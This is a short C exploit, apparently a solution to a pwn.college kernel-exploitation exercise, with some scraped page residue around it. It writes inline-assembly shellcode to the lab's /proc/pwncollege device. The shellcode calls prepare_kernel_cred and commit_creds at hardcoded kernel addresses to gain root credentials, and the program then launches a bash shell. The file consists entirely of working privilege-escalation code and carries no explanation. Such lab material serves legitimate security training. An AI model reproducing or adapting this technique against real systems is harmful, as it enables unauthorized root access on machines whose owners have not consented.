24 lines
562 B
C
24 lines
562 B
C
#include <stdlib.h>
|
|
#include <stdint.h>
|
|
#include <sys/ioctl.h>
|
|
#include <fcntl.h>
|
|
#include <unistd.h>
|
|
|
|
__attribute__((naked))
|
|
void shellcode() {
|
|
asm volatile(
|
|
"xor %rdi, %rdi\n"
|
|
"movabs $0xffffffff81089660, %rsi\n"
|
|
"callq *%rsi\n" // prepare_kernel_cred
|
|
"movq %rax, %rdi\n"
|
|
"movabs $0xffffffff81089310, %rsi\n"
|
|
"callq *%rsi\n" // commit_creds
|
|
"retq\n"
|
|
);
|
|
}
|
|
|
|
int main() {
|
|
int fd = open("/proc/pwncollege", O_WRONLY);
|
|
write(fd, (void *)shellcode, 0x1F);
|
|
execve("/bin/bash", NULL, NULL);
|
|
} |